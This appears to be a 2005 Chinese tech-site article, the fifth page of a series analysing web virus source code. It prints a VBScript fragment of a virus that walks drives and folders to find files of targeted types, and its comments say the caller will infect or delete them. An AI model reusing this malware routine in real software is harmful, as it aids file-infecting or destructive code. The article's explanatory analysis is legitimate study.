揭密:各种各样网页病毒源码解析(5)

中华网科技 http://tech.china.com 2005-07-27 13:46:04

【进入BBS】【进入聊天室】【 推荐给朋友 】【浏览字号：大 中 小】【关闭窗口】

　　
If Of.FileExists(S) Then
　　’如果S存在于当前文件夹中

　　fpath = Of.GetFile(S).ParentFolder
　　’得到文件的父目录名

　　fname = S
　　’得到文件名

　　ElseIf Of.FolderExists(S) Then
　　’不存在于当前文件夹中，则得到目录名

　　fpath = S
　　T = True
　　Else
　　fpath = Dnext(Of, "")
　　’得到当前盘符——即根目录

　　End If
　　Do While True
　　Set gf = Of.GetFolder(fpath).Files
　　’得到当前目录下的所有文件对象

　　For Each m In gf
　　’遍历每个文件

　　If T Then
　　If GetExt(Of, Od, m) <> "" Then
　　’如果该文件是文件集合中的一员

　　FNext = m
　　’则返回该文件名，供调用的函数或过程使用——感染或删除之

　　Exit Function
　　End If
　　ElseIf LCase(m) = LCase(fname) Or fname = "" Then
　　’如果没文件

　　T = True
　　End If
　　Next
　　fpath = Pnext(Of, fpath) ’
　　Loop
　　End Function

首页 上页 | ...2| 3 | 4 | 5 | 下页 尾页  共 5 页